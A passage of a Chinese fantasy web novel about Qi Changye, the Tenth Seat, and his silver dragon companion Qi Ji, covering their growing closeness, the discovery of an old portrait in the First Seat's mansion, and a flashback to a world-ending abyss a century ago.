她同样将芙洛城遭受深渊动乱的视频发了出来，还有之前的第十席抢夺要塞中枢而暴露出来的种种嘴脸，都被清晰地曝光于众人眼前。 原本，那位第十席笃定要塞与芙洛城皆会沦陷，就算有监控也肆无忌惮。他死之后，议事厅也将大部分消息压了下来，勉强给他扯了一块遮羞布。 而现在，雅歌毫不顾忌地让这位曾经的第十席再次出了把风头，引爆轩然大波。 她上传的视频最后，还有一幕—— 一袭黑衣，眉目冰冷的祈长夜独立高墙之上，宛若神明之手，封印偌大深渊。 这一幕，深深地映照在许多人眼中。 “哥哥真好看。” 祈霁的下颌压在祈长夜肩上。 祈长夜：“嗯，你出场的时候也很好看。”虽然视频里并没有。 祈霁不吭声了。 乖乖地趴在他肩头，眨巴眨巴眼睛。 已老实。 “对了。”祈长夜逗逗他的小龙，“你变成人之后，不是有话和我说？” 他还记得前几天，银白小龙还和他叽叽咕咕，说等自己变成人以后，就要告诉哥哥一些话。 “……” 祈霁默默移开目光。 祈长夜戳一下少年的脸。 少年又默默把脸移回来，睁着金灿灿的龙瞳，一眨不眨地看着他：“如果我说出来，哥哥会答应吗？” “会，”祈长夜神情淡然，“说吧。” 像是没想到他答复得如此之快，祈霁又不吭声了两秒。 慢吞吞凑近哥哥，慢吞吞低头，把脸埋进他的胸口。 “那，我先记着哥哥这句话。”少年悦耳的声音轻而低，像是含着某种沉甸甸的情绪，“等到以后，我再向哥哥开口，哥哥就一定要答应我了。” 祈长夜眼帘微动，直觉祈霁的话语还有别样的深意。 不过，他的小龙不会骗他，更不会对他怎么样。 于是微微地点了下头：“好。” 祈霁从他胸口扬起脸庞，一眨不眨地凝视他两秒，弯起眼睛，嘴角上扬： “哥哥答应得这么快，哥哥是不是最最最喜欢我？” 少年好像一只得意洋洋地摇尾巴的猫猫，祈长夜拍拍他的脑袋，坐直，把一堆文件飞快塞给他。 “不准摸鱼。” “……” 繁忙的事务，只有到了深夜才能被暂时抛之脑后。 简单地吃过晚餐外卖，祈长夜靠在卧室窗边，趁着难得的闲暇，翻开一页书。 书页划过小半本，浴室门被推开，热气飘出，冒出来的还有一只湿漉漉的银色脑袋。 “哥哥。” 满身水雾的祈霁浴袍敞开，顶着一头乱七八糟的泡泡，眼巴巴地看着他。 “头发太长，救救。” 祈长夜抬眼见到那一头漂亮的银发混着缓缓下滑的泡沫，放下书，走了过去。 开着暖气的浴室里，祈霁乖乖坐在椅子上，任由祈长夜拿着花洒，为他梳理那一头湿漉漉的银发。 他的龙瞳亮亮的，声音轻软：“哥哥，我笨手笨脚的，一点小事都做不好。” “没有，”祈长夜说，“你是聪明小龙。” 少年开心地晃了晃，银发之间，嗖地冒出一对龙角。 祈长夜伸手摸摸，冰冷而修长的龙角，美丽无暇，如同钻石雕刻的工艺品。 他顺手给龙角打上泡沫，心想，如果把之前攒下的晶石做成项链，挂在龙角上，应该会很好看。 “低头。” 祈霁乖乖低头，任由哥哥的手托起他的银发，温柔地穿过发丝，和着水流，洗去泡沫。 他的嘴角扬起，揪揪哥哥衣角，晃一晃，指腹磨蹭着玩。 一头长长的银发在水流中更显光泽亮丽，像是堆叠的银色绸缎。祈长夜摸了摸，说：“很好看。” 祈霁甜滋滋地开口：“哥哥更好看！” 软乎乎地蹭蹭他的胸口。 祈长夜：水都没擦干。 他默默地往少年头上丢了一条毛巾，开始给他擦头发。 祈霁微仰起头，晶莹的水珠打湿眼睫，更显眉目出众，灯光之下，那双眼眸收敛锋锐，深得几乎要让人沉溺进去。 他像只开屏的孔雀，满眼都写着“哥哥看看我，看看我”。 祈长夜余光瞥过，那件雪白的浴袍还宽宽松松地搭在祈霁身上，领口大敞，混着银雪般的发丝，好像随时会从肩头滑落。 他伸手，把浴袍领口收紧。 “别着凉了。” 开始搓搓搓，用毛巾把一头银发搓得飞起。 祈霁沉默。 少年坐在椅子上，双手托着下颌，似乎陷入了某种沉思。 不过，某只银龙并没有气馁，等哥哥给他擦干头发，这只少年就大摇大摆地跟着哥哥进了房间。 大摇大摆地扑上他的床。 大摇大摆地钻进被子里，拍拍身边的位置：“哥哥，随便坐。” 祈长夜微微挑眉。 ——片刻后，他拎着一只嗷呜嗷呜的银白小龙，把它放到自己床头。 小龙气呼呼地跳到枕头上，爬来爬去，爬来爬去。 飞快爬了几圈，仰起小脑袋，冲哥哥大声嗷嗷。 祈长夜淡定地说：“听不懂，说人话。” 小龙跳了起来。 “哥哥之前答应过我！可以一起睡的！” “对啊，现在不就是吗。” 祈长夜的手指曲起，蹭蹭小龙下巴：“还是说，你想睡床尾？” 小祈霁不吭声了。 追着自己的尾巴转了一圈，飞快霸占了哥哥肩窝旁边的位置。 气汹汹。 但是才不和“言而无信”的哥哥生气。 气汹汹地贴紧哥哥。 祈长夜点点小龙脑袋，被小龙飞快用四只小爪子抱住了手指。 “晚安。” 小祈霁昂起脑袋：“给哥哥唱歌？” “……好吧。” 诡异的歌声飘荡于卧室，星星隐入云层之间。 清晨，第一抹天光浮于天空，祈长夜醒了过来。 他睁眼，第一个念头是，该去处理深渊的事情了。 ……等等。 身上好像压着什么东西，祈长夜微微侧首—— 月光洒落的霜雪般的银白长发，铺满他的肩膀。 一只少年侧躺在他身边，单手拦着他的腰，与他并肩而眠。 两人胸膛相贴，亲密得没有一丝间隙。 祈长夜：“……” 他沉默地偏过头，片刻后，再转回来。 对上一双专注的金色眼眸。 祈长夜：“…………” 他默默地用被子捂住少年，说：“变回去。” 祈霁：“？” 祈霁一个翻身，将哥哥摁在身下，银发如雪滑下，与乌黑发丝交织。 祈长夜想要坐起，却发现手腕根本动不了——从这个姿势，祈霁居高临下，完全压制住了他。 “我的力气已经比哥哥大了。” 祈霁微微俯身，贴着他的耳畔，轻笑一声。 “所以，哥哥想要去哪里？” 现在的祈霁，虽然离开深渊之后还只能披着少年的皮囊——但，的的确确，是一条成年的银白巨龙。 所以，光从体格和力气上，已经能够压制他的人类了。 祈长夜：“……” 祈长夜神情淡然：“你再也没有糖吃了。” 祈霁：“……” 片刻后。 一只银白小龙委委屈屈地趴在哥哥胸口，啪叽一下，翻身，露出软软的小肚子。 委委屈屈地给哥哥摸摸。 第五十章 第一席的画像 清晨的厨房, 一只少年站在水池边，随意滑落的银发在晨光下微微发亮。 新鲜的肉类切好腌制，仔细清洗过的蔬菜细细切成丝, 食材都摆放好, 起锅烧热水。 微风卷起锅碗瓢盆, 按心意移动, 祈霁在厨房里穿梭, 时不时从里面探出头，看看哥哥，又心满意足地缩回去。 颀长的手指搭在餐桌上, 一下一下轻敲桌面的微光, 无事可做的祈长夜侧对着厨房那边, 陷入沉思。 他还在想今天早上的事情。 哪怕后知后觉, 他还是察觉到了这点——变成人以后的祈霁，似乎有点太黏他了。 ……换作别人家的兄弟，也会那么亲密地睡在一起吗？ 以前在孤儿院的时候，他也要和好几个人要挤一张床，但那时他们只是被当做实验品。后来遇到队长他们, 每个人自己的住所。再后来……他就一个人住了。 所以，他其实并没有真正和人同居过的经历。但他也知道，就算是兄弟姐妹, 也不会在成年之后, 依然那样抵足而眠。 厨房里烈油作响, 飘出一阵香气，少年的声音响起：“哥哥, 马上就好。” “嗯。” 祈长夜的目光动了动。 不过，祈霁是不同的。 他是从深渊出来的小龙, 破壳以后就一直被他养在身边，生来就不是人类，当然也不用遵循人类的思想和习性。 ——但，小龙还是蛋的时候，就有自己的意识与思想，还能与人类的思维互通，完全有别于那些怪物。 所以，祈霁知道那些亲密的动作意味着什么吗？ 还是说，他只是和以前一样，依然把自己当成一条小龙，所以才这么黏着他？ 祈长夜没有答案，他静静地坐在桌边，直到那道身影回到他身边。 银色发尾微微飘扬，祈霁单手托着装有两份早餐的银制长盘，特意多走了几步，绕到祈长夜面前，用额头贴了一下他的乌发。 然后才放下早餐，将筷子整整齐齐地摆在他面前。 祈长夜默默地想：这个动作会让早餐变好吃吗？ 祈霁挨着他身边坐下，散落的银发与他的衣角交织：“哥哥，尝尝我做的！” 并不复杂的早餐，按照祈长夜的要求，是面条和煎蛋。 松软的面条盛在乳白色的高汤里，卧着一颗金灿灿的溏心蛋。 祈长夜拿起筷子：“真好看，你什么时候学的？” 之前还会炸厨房的小龙，好像一变成人，就厉害了起来。 得到哥哥的夸奖，祈霁微微昂起下颌，眼眸流转光泽：“我已经是条大龙了，为了哥哥，我什么都会。” “哥哥快趁热尝尝！” 祈长夜轻咬一口金黄的煎蛋，入口酥脆，浸泡过鲜香浓郁的面汤，还有回甘。 面条也劲道入味，是恰到好处的口感。 他倒是真的有些意外，看了祈霁一眼：“味道很好。” 祈霁眉眼弯弯：“哥哥喜欢，以后我每天都做给哥哥吃！” 然后贴近祈长夜，声音轻柔：“有我在，哥哥什么都不用管。” 祈长夜眼睫微跳，总感觉这句话似乎还有别的深意。 他放下筷子，想对他的小龙说些什么，目光微顿。 阳光洒落明净窗畔，餐桌瓷白花瓶前，少年托着下颌，眼睛弯弯地看着他。 那双金色龙瞳，满心满眼都只有他一个人，笑意流转，像灿烂盛放的向阳花。 ……他并不想那双漂亮的眼睛里盛满的笑意消失。 于是祈长夜到嘴边的话又回去了，默默地给他的小龙夹了一只煎蛋。 祈霁一动不动，张嘴。 祈长夜拆下一小块煎蛋，送到他的嘴边。 祈霁凑前一点，微微咬住筷子不放，依然没动，笑吟吟地看着哥哥。 祈长夜：“……” 莫名的，他的指尖微微一热，好像也被某只大龙轻微地咬住了。 祈长夜眼眸不变，无言地松开筷子。 他才放下手，某只大龙又黏糊糊地贴了过来。 “好甜。”悦耳的笑声拂落他的耳边，像春日暖融融的风，“哥哥给的，比什么都甜。” 祈长夜还是默然，没听见的样子，微微偏过脸，喝了一口面汤。 祈霁凝望他的侧脸，笑意加深了。 —— 第十席办公场所。 克里斯汇报完今天的工作，本来要和往常一样退出去，却被祈长夜喊住了。 他先是看了眼身边的祈霁，对他说：“帮我拿一下外面那几本书。” 克里斯刚要说这点小事我去吧，就见祈霁长长地“哦”了一声，慢悠悠地站起，向外走去。 路过克里斯身边时，还笑着看了他一眼。 克里斯：“……” 他好像从那双眼睛里看到了很不好的东西。 很快，办公室内只剩下他和第十席两人了。 克里斯感觉更不好了，他倒不是觉得第十席大人会对他做什么，他是怕待会出门，那只披着人类皮囊的银龙要对他做什么。 他默默地站在靠近门口的位置，只见窗楹边，年轻的第十席眉目沉静，安静片刻，轻轻开口：“你和你妹妹关系很好吧。” 克里斯下意识看了眼门口，然后才点了下头：“是的。” “那，”祈长夜停顿一下，“她会每天都和你形影不离吗？” “……不会吧，”克里斯想象了一下那个画面，飞快摩擦摩擦手臂，“她哪天不对我阴阳怪气，都算大小姐今天心情好了。” 祈长夜：“那还是我家的乖。” 克里斯：“……” 这好像不是很能拿来对比。 他欲言又止，还是没吭声。 办公室的门被推开，几本书在空中高高低低地飘来飘去，银发金瞳的少年不紧不慢走进，怀抱一簇灿烂的玫瑰。 克里斯：“。” 这么短的时间内，从哪找来的花。 他眼睁睁看着那个张扬热烈的少年风一般裹挟着花香走向年轻的第十席，路过他身边时，又轻描淡写地瞥了他一眼。 克里斯非常识相，扭头就走。 鲜红的玫瑰肆意绽放，往上是一双含笑的金色眼眸。 “送给哥哥。” 祈长夜默默地想：好像也不是用来送给家人的花。 像是看出他所想，祈霁不紧不慢地补了一句：“我听说，他们都会把玫瑰花送给喜欢的人。” “哥哥，喜欢吗？” “……” 玫瑰嫣研，赤红如燃烧的火焰，那双专注的金色眼眸，更是灼目到难以忽视。 也许是花香太过浓郁，祈长夜微微后靠，削薄的唇瓣微动，似乎想说什么。 一份急报弹入眼帘，最上面的内容，格外显眼刺目。 “……” 祈长夜眉心微蹙。 “走吧。” 他站了起来：“去第三席府邸。” 祈霁一言不发，默默放下怀中玫瑰，搁在桌边，落下一小片花瓣。 祈长夜回身，将那束玫瑰扶起，挑了个显眼的位置安安稳稳地放好。 祈霁的眼睛微亮，笑意再度充盈，拉住哥哥的手。 “很抱歉，第三席大人，真的很抱歉！” 明蓝的办公室内，一位城主满头冷汗，连连弯腰。 “我昨天就下过命令，禁止他们再出入深渊，但……他们为了开采更多晶石，居然偷偷潜入了进去！” “那些晶石打造的防护装备，一到深渊里，全部失效了！” “伤亡怎么样。” 清冷的声音响起，城主一怔，看见一位气场冷峻而容貌出众的年轻男子大步踏入，立刻猜出了他的身份。 “第十席大人！”他赶紧说，“那三支进化者小队都没来得及出来……” 祈长夜眼眸微冷。 这并不是第一起伤亡事件，就在议事厅封锁深渊的命令下达后，各个城市都有进化者不顾命令，擅闯深渊——只为抢夺更多晶石。 然而，就在今天，全世界的深渊，都出现了异样。 他们佩戴的防护装置全部失效，来自深渊的晶石，无法再为他们提供庇护。 ——进化者，再也无法安全地从深渊逃离。 “难道这是深渊的提醒吗？”城主连连擦汗，“为我们敲响警钟，警示危险？” “第十席早就为你们敲响了警钟，”祈霁嗤笑一声，“现在，不过是深渊足够强大，失去了对虫子的耐心，不屑伪装了。” 城主被他话中的冷意吓得面色微变：“怎么会这样！深渊不是引领人类进步，引导我们神圣进化的吗？” “深渊是你们的末日。”祈霁挑眉，“它一直在那里，数着你们的倒计时。” 城主额头渗出冷汗，踉跄后退一步。 明蓝开口：“你先下去吧。” “……遵命。” 城主踉踉跄跄地走了，明蓝按着桌面，缓缓站起。 “还没查到第一席和谢荇的下落。” “我派人调查了第一席的府邸，发现了一些意外的东西。” 祈长夜：“是他故意留下的？” “很有可能，”明蓝说，“你看到就知道了。” 祈长夜和祈霁并肩而行，没走几步，祈霁就慢悠悠伸手，轻轻揪住哥哥袖口。 明蓝回头，瞥了一眼。 祈长夜并没有觉得哪里不对劲的样子，神色淡然。 祈霁直接牵住哥哥的手。 明蓝：“……” 明蓝转首，一路上，再也没回头。 第一席府邸，没了主人坐镇，这里已经被士兵包围。 穿过华丽的前厅与长廊，府邸深处，通往地下室的暗门洞开。 笔直的楼梯尽头连接着一间暗室，不过二三十平方的小房间并没有什么价值连城的传世珠宝，更没有什么不可告人的绝世机密——里面只摆着一张沙发，一幅画框。 沙发正对着相框，干净而不落尘，似乎有人经常坐在这张考究的沙发上，静静地观望那幅画像。 陈旧的画像早已泛黄，沉淀着岁月的气息。也许，历经了几十年，甚至更久的光阴。 祈霁眼眸一下子冷了下来，像浸透了的寒冰。 祈长夜目光微凝。 画像之中的人，分明是…… 50-60 第五十一章 队长 陈旧的油画, 一位年轻男子，眉目温和，气质突出。 乌黑的长发束在身后, 雪白风衣修长, 一双墨色沉凝的眼眸, 沉淀了岁月, 凝聚在画布之间。 ——任谁都能看出, 那是一张和祈长夜近十分相似的脸。 唯一的区别，可能只是在于他们的气质。黑衣的年轻第十席犹如千锤百炼的冷铁，画框里的白衣男子却更为柔和淡然, 眉眼之间, 似乎也比祈长夜成熟几岁。 祈长夜凝视那熟悉而陌生的脸庞, 侧首, 望向他身边的人。 祈霁同样盯着那幅油画，眼眸冰冷，更多是愤怒，似乎想随时将其付之一炬，让画中之人不再被珍藏于这间不见天日的暗室之内。 明蓝的声音响起：“你有什么头绪。” 祈长夜：“稍等。” 他轻敲通讯器, 没过多久，有人在士兵的引领下来到这里。 “祈哥！” 一见到祈长夜，宋星星就迈开步子小跑过来。 祈霁面无表情地往前走了一步, 不偏不移, 刚好卡在他和祈长夜中间。 宋星星被这突然冒出来的陌生人吓了一跳, 说：“这是谁！” 他沿着祈霁转了半圈，打量这个面色冷漠, 容貌气质却明显不同凡人的高挑少年。 “祈哥，你又捡了个人回来？” 祈霁：“？” 祈霁不冷不热地说：“哥哥只捡过我。” 宋星星看着那银发与金瞳, 似乎终于联想到了什么，猛然睁大眼睛，目光在他和祈长夜之间飞快挪移。 祈长夜：“过来这里。” “好嘞！” 宋星星一步绕开祈霁，颠颠地跑了过去。 祈霁：“……” “这！”宋星星抬头见到那幅油画，微怔一下，迅速凑到画框前，“这不是祈哥你吗？不对……这是我在深渊里见到的那个人！” 他曾在芙洛城的深渊之底，见到类似于末日的画卷——倾塌的城市前，银龙与一位黑衣男子撑起最后的天幕。 当时，他以为那位黑衣男子就是祈长夜，现在看来，应该是这幅油画里的人。 无论是束起的长发，还是气质和年龄，都完全和他记忆中惊鸿一瞥的那道身影完全契合。 宋星星后退一步，眼神频频划过相框与和祈长夜之间，找到了两者的微妙差距。 “祈哥，这是你爸爸？长得和你一样，却比你大几岁的样子。” 祈长夜安静片刻，说：“我已经记不清他的样子了。” 记忆的最开始，他就在灰烬的孤儿院里。 父母的面庞，于他而言，只是空白。 指尖被轻碰，温柔地牵起。祈长夜眼睫微抬，祈霁静静地贴在他身边，笼住他的手指。 他微微摇头，表示没有关系。 明蓝偏转脸庞，一言不发地望着他。 祈长夜察觉到他的目光，说：“这里还有其他东西吗？” “没有。”明蓝淡淡地说，“第一席早就带走了所有东西他需要的东西，只留下这幅画。” 宋星星：“看来这幅画不是很值钱啊，那么大，也搬不动的样子。” 祈长夜凝望那幅油画。 随着时间流逝而不可避免带上岁月痕迹的油画，精细雕琢的相框依然散发淡淡幽香，显然一直被妥善保存。 这是第一席故意留下，想要给他们看的东西。 “这幅画，我想带走。” “可以。” 明蓝应了一句，过了几秒，毫无征兆地冒出一句：“我还要告诉你，那并不是你父亲，你更像你的母亲。” 祈长夜立刻转首：“您见过他们？” 明蓝的嘴角抿成一条直线，似乎是刚才那句话不是他说的，又或者，他只是失言。 祈长夜望着那双与自己相似的乌黑眼睛，眼中有细碎的眸光掠过，最终，又沉淀在墨色里。 他不再多言，只是对祈霁说：“走吧。” 祈霁望着他眸底的神色，扫了明蓝一眼，点头：“好。” 他上前一步，单手取下那个相框，又腾出一只手，牵住哥哥。 宋星星好奇地凑到明蓝身边：“大叔，你和祈哥长得好像啊，你是谁？” 明蓝：“鄙姓明。” 随后，他拔步走了。 宋星星：“……” 天塌了！ 怎么会是传闻中的第三席？！这是他能随便见到的吗！ 宋星星抱住脑袋，扭向一边，望见祈长夜清沉的眼眸。 他忽然想起来，他的祈哥，已经是第十席了。 这么一想，他也是坐席的朋友，见一见其他坐席也没什么！ 宋星星转眼天晴了，都不需要别人安慰。 祈长夜默然片刻，说：“今天的事情，不用告诉别人。” 宋星星小鸡啄米般点头：“祈哥放心，我连队长他们都不会说的！” “最近少出门，别离开乌城。”祈长夜平静地说，“如果有任何人给你们分配任务，告诉我，不用理会。” “好！” 宋星星嘿嘿一笑，他知道最近是多事之秋，祈哥是在照顾他们。 交待完嘱托，祈长夜就带着祈霁离开了第一席府邸。 那幅画像被他放在家中，祈长夜与那双几乎和自己一模一样的眉眼对视片刻，转向身边的少年：“你知道什么吗？” 回来的路上，祈霁都没怎么开口，像是在思索些什么。此刻，他看着祈长夜，抬手，手背轻轻贴上油画。 “我有一些记忆，但，大多都只是片段，还无法将它们串联起来。” 那只骨节分明的手轻柔地拂过油画中人的脸庞，明明没有碰到祈长夜，他的侧脸却好像同样落下微微的酥痒。 祈霁灿金色的眼眸一片温柔：“哥哥，现在，你会怎么选？” 祈长夜一言不发。 世界上很难有完全相像的两个人，更何况，在见到油画的第一眼，他就有种冥冥的直觉。 ——画中之人不是别人，正是他自己。 来自过去的油画，沉淀了至少数十年甚至上百年的岁月——刚好，对上旧地球时代的覆灭。 如果画中之人的确是他，那意味深渊之底，他们所见到的末日既有可能是未来，更有可能属于过去——甚至，正是过去他们所遗忘的记忆。 在旧地球时代，他曾经死过一次，葬送于末日。 巨龙的遗骸，永沉深渊。直至祈霁苏醒，消弭不见。 那并非旧龙与新龙之间的传承，而是“重生”，世间唯此一条真龙，从头到尾，都是他。 都是他们。 这幅油画的主人，也来自那个覆灭的时代，一个横跨漫长岁月的幽灵，静静地注视着毁灭之后新生的大地，直至……熟悉的人再次出现，轮回再度上演。 “或许，曾经的我，也做出过和现在一样的选择。” 祈长夜平静的声音，随着微风流淌。 “未来并非不可改变，因为提前知道结局而驻足不前，那不是我。” 百年前，也曾有人踏上了和今天一样的路，最终，伴随着一整个时代同葬于深渊之下，只留下这幅在暗室中黯淡的画像。 但，还有更多的人，连画像都未曾留下，血迹和骸骨被磨灭，永远沉没于死寂的大地。 他不愿看到重复的轮回，更不愿意大地坠入晦暗，被鲜血淹没。 “我知道了。” 祈霁低头，眷恋地贴上祈长夜额角，一下一下磨蹭。 “哥哥，不管发生什么，我都会守在你身边。” “哥哥只有我，我也只有哥哥了。” 祈长夜望着那双眼睛，从深邃的金海里，见到自己的倒影。 这一刻，他的心脏，似乎被什么用力地攥住了。 世间唯一的真龙，不惧深渊，不惧末日与天倾。 但，深渊之底，依然留下了巨龙骸骨。 没人能杀死真龙，可龙还是随着那个时代，随着那个人类逝去了。 他并不畏惧自己的结局，但他希望……这一次，祈霁能好好的。 最开始，他来到乌城，就是为了能让他的小龙，无忧无虑地翱翔于天空。 所以—— “一切都会结束的。”他轻轻地说，“到那时，我们——” 他的话语微顿。 因为，他看见，祈霁一下子扬起了眉眼，嘴唇几乎贴近他的唇角，笑吟吟地看着他。 “我们怎么样？” “……”祈长夜沉默片刻，微微后仰，拍一下祈霁脑袋，说，“回去上班了。” 祈霁：“……？” 他啪一下，把脑袋埋进哥哥肩窝，站不直了。 祈长夜默默别过脸，把这只黏糊糊的大龙拖回办公室了。 …… 第二天，又一座城市的深渊失控。 因为遵循了不得进入深渊的禁令，失控之时，并没有进化者殒命于深渊内部。 祈长夜和祈霁赶到，只见天空晦暗，黑潮汹涌——和之前不一样的是，从深渊之中还溢出了丝丝缕缕的黑色气息，笔直朝上，连接天空，似乎要将穹顶拽下，坠落大地。 这一幕，简直如同炼狱之门大开，恶鬼向人间伸出爪牙。 “怎么会这样？！” 要塞之上，有进化者失控惊呼，恐惧随之蔓延开来。 所有人都能看出，这次失控比前两次更严重，更加诡异不详。 凛风卷过城墙，神圣银白的庞大身影，遮蔽长空。 那一抹耀眼的银白，照亮了所有人的眼睛。 “是第十席和他的龙！” “他们来救我们了！” 银龙载着他的人类出现的那一刻，城墙之上不知有谁率先欢呼，很快连绵成一片。 一双双眼睛燃起热切的光，似乎已经看到了灾难终结，天光再次洒落他们城市的美好预景。 狂风卷起衣摆，晦暗天幕之下，祈长夜眼眸沉冷。 他遥望那宛若连接了天际的黑潮，目光尽头，一道身影，缓缓从深渊里走出。 那是一个人类，却能正常地行走于深渊之上，丝毫不受侵袭。 他一身无暇白袍，银白面具，翻飞的袍角，刻有特殊符号。 “一” 乌城十二坐席之首，第一席。 “这是百年前，命运不再眷顾人类，世界彻底滑向深渊的日子。” 第一席悠长肃然的声音，流过黑潮，流向空中的人类与巨龙。 “同样的时间，相隔百年，轮回重演，精准到一天的误差都没有。” “这一次，你还是和以前一样，拯救不了任何人。” 祈长夜的表情没有丝毫波澜，只是站在银龙脊背之上，静静凝望。 第一席缓缓抬手，摘下面具，露出一张格外年轻而英俊的脸庞。 他将面具抛入深渊，遥望祈长夜的眼眸，微微笑了起来： “好久不见。” “——队长。” 第五十二章 百年前 亚瑟从废墟里爬出, 恍惚的眼睛倒映出已然化为废墟的城市，还有城市上方，那片凝而不散的乌黑。 一袭白色衣角染上斑斑血迹与灰尘, 铺在他身边。似有雪松般清冽的气息冲淡了血腥, 令他仿佛受到某种牵引, 怔怔地转首。 乌黑长发束起, 眼眸如墨的年轻男人静静坐在废墟上, 原本白净而修长的手搭在屈起的膝间，布满泥灰沙粒划出的无数细小伤口，鲜血染红手指, 在指尖凝为将坠未坠的血珠。 刚才, 就是这双手, 将他从废墟里挖出。 在满布疮痍的大地上, 那袭血染的白衣，依然犹如月下一株雪莲。 “你很幸运，”白衣男子淡淡地说，“是这片区域唯一的幸存者。” 亚瑟眼底空茫，犹如梦中尚未苏醒, 只是怔怔地凝望着他。 他再一次嗅到了霜雪般清冷的气息，像是误入了月下雪莲的冷池，既畏惧, 又忍不住被吸引而前。 “我……我不知道该去哪里……” “跟我走吧。” 白衣男子起身, 一缕天光在他身后浮起, 照亮了灰霾的夜空，映得他半张侧脸静如白玉。 “我们都会活下去。” 那一天, 亚瑟知道了那个人的名字。 长夜。 祈长夜。 他追上那道身影，跟随他穿过一整座沦为废墟的城市, 再没有找出除了他们以外的第三个生命。 祈长夜在沉默中愈发沉默，最终，久久地站在城市尽头，用血淋淋的双手，立下一座无字的石碑。 离开那座城市前，亚瑟忍不住仰起头，再一次望向天空。 广阔的天空，一半依然是晴空，一半则如地狱般黑沉。 那是一大片恐怖的黑潮，撕咬着天空。 ——出现在天上的黑潮覆盖了整座城市，从里面投下数不清的怪物，仅仅半天之内，就将一座繁华的城市碾平。 灾难就这样突兀地降临到了人类头上，世界毫无准备地迎来末日。那天以后，漂浮在所有人类头顶的黑潮不断扩大，不断蚕食着他们的天空，就像蚕食着人类的未来。 然而，绝望之下总有希望诞生。亚瑟跟随着那道白衣身影，走过不知多少区域，救下了不知多少人。 渐渐的，活下的人类将黑潮命名为“深渊”，他们发现，自己的同伴之中出现了一种名为“进化者”的存在，掌握着足以和深渊抗衡的力量。 一路走来，亚瑟见过的所有进化者里，没有一人比祈长夜更加强大，也没有一人比他更频繁地闯入那些灾难之地，救下那些将死未死之人。 于是，越来越多的人追随他的身影，和世界各地的顶尖进化者一样，一支强大的队伍因他而集结，与他并肩对抗深渊，拯救更多人。 火种。 小队的名字，伴随着长夜，燃起星点的火光。 晦暗的黑潮之下，火光虽微，却足以照亮前路。 ——然而，人类的未来依然暂时见不到黎明，黑潮推进的步伐虽然缓慢，却从未因为任何事物而停止。 很快，世界各地自发汇聚的进化者小队开始出现了折损，有些曾经威名赫赫的组织，一夜之间，就陨落在了黑潮之下。 燃起在大地上的星点火光，似乎又开始摇曳欲熄。 有那么一次，火种小队赶赴遇灾的城市，却遭遇了史无前例的黑潮袭击。 恐怖的黑潮化为无法阻挡的地狱，那一天，亚瑟真的以为自己会死在地狱之中，血肉成泥，白骨都被磨灭。 最后的视线里，他模模糊糊地看见那道修长的白衣，挡在所有人之前。 ……再次苏醒时，火种小队，还有那座城市，都没有被拖入地狱。 代价是他们的队长重伤昏迷，七天之后，才从死线里睁开一双眼睛。 亚瑟不知道他的队长是怎么做到的，也许，世间真有那样的奇迹，可以扭转生死，力挽狂澜。 但，已经有恐惧攀上他的心头，无论如何也无法抹去。 奇迹不会永远存在，每次抬头，他依然能看见蚕食天空的黑潮。 深渊，在凝视着他们所有人。 “队长，”那天夜里，亚瑟坐在染血的床边，低声说，“也许我们根本就……无法抗衡深渊。” 他的队长微微地笑了，那是他第一次见到清浅的笑意，浮现在那张苍白的脸庞。 他平静地开口，虽然一说话就有血迹从嘴角渗出，但他的声音，依然清沉而有力： “也许，明天就是黎明。” 火光映出那双眼眸，本该是最沉淀的乌黑，却如此明亮。 亚瑟心想，或许，正是这份坚定，才铸造了他的强大。 他的队长……似乎从未经历过什么人间困苦，所以，才能如此心无旁骛地相信光明。 不过很快，事情出现了转机，一切似乎真如队长所说的那样，挣扎中的人类又迎来了短暂的光亮。 ——未被深渊腐蚀的深林之间，他们第一次遇到世间唯一的真龙。 银白的巨龙从蒙蒙山雾间睁开眼眸，灿金的龙瞳如高悬的烈日，隐于晨雾间的身躯，比高山还要庞大。 帝龙现世，众生皆俯。 和其他人一样，亚瑟直接被震慑在原地，畏惧到浑身发抖，根本无力站起。 所有恐惧的眼神之中，只有一道身影，穿行而上。 洁白风衣在林间飞扬，如掠过的美丽飞鸟，他的队长向银白之龙伸手。 那一刻，世间的所有的风，皆为白衣流转。 银白帝龙俯首，垂下神圣而威严的头颅，轻碰年轻人类的掌心。 这一幕，直到多年之后，还烙印在亚瑟的瞳孔里。 ——从那天起，火种小队队长的身边，多了一道寸步不离的银白身影。 银龙无惧深渊，无惧晦暗侵袭。无论多少次面对多少次黑潮，都将他的人类护在龙躯之间，牢牢地守护着他。 他们并肩而行，走过疮痍满目的大地，将后背一次又一次地托付给彼此，跨过无数生死交叠的间隙。 亚瑟再也无法和以前一样靠近他的队长，因为他忽然意识到，他的队长看向他的目光一如既往——对待那条银龙，却是不同的。 和任何人都不同。 也就那一天，亚瑟下定决心，离开火种。 然而，他没能成功。 因为，正是那一天——深渊彻底崩塌，以难以想象的速度蚕食了剩下的天空，就像一块腐烂的肉，坠落大地。 一场数千万年前的陨石雨，一场最终也无法挽回的末日，终于降临。 世界陷入死寂的暗夜，漫长得仿佛永远没有尽头。人类就像镰刀下的麦茬，一茬又一茬地倒下，甚至没有来得及发出反抗的声音。 短短七天之内，世界的生机几乎被彻底掐灭，死亡的黑潮彻底吞没大地……亚瑟再次看见那道白衣身影，站在了倾倒的天幕之前。 “我希望，深渊能够沉入大地。” “人类将再次看见黎明。” 那道离去的背影如此决绝，他以身投入深渊，将自己的血与骨献给大地，留下的最后两句话，如同神明敲定的谶语。 世间唯一一条真龙无法改写这样的结局，眼睁睁地看着它的爱人坠落，皮囊消融，衣角焚于黑潮。 那一瞬间，献祭的灵魂爆发出了足以逆转整个世界的力量，真正的奇迹就此降临——大地开裂，深渊下沉，所有带来不祥与死亡的黑潮，皆被宛如神明的伟力驱使，无法遏制地涌入地下。 消融于深渊的骨血，也随之沉于地心，无惧深渊的银龙，也无法将其挽回。 亚瑟最后所听见的，是一声响彻世界，绝望而凄厉的龙吟。 …… 他从废墟里爬出，恍惚的眼睛，倒映出了末日之后的残像。 灾难，结束了。 深渊，被封印在了大地之下。 人类的陆地依然得以保存，还有生命的余火，零星散落在千疮百孔的大地之上。 深渊没有消亡，但，世界依然迎来了新生。 ……也许，是短暂的新生。 亚瑟独自走了很久，再也没能找到那道白衣身影，还有那条银龙。 他凝视地下的深渊，心底彷徨地回荡着两个问题。 值得吗？ 愚蠢吗？ 他不知道答案，只是从那天起，他发现自己的躯体里，多了一份力量。 来自深渊。 在他目睹队长救世，银龙同坠之后——作为这一幕的旁观者，深渊，选择了他。 被迫封印于地下的深渊，依然不甘心，依然等待着重回大地，带来毁灭的那天。 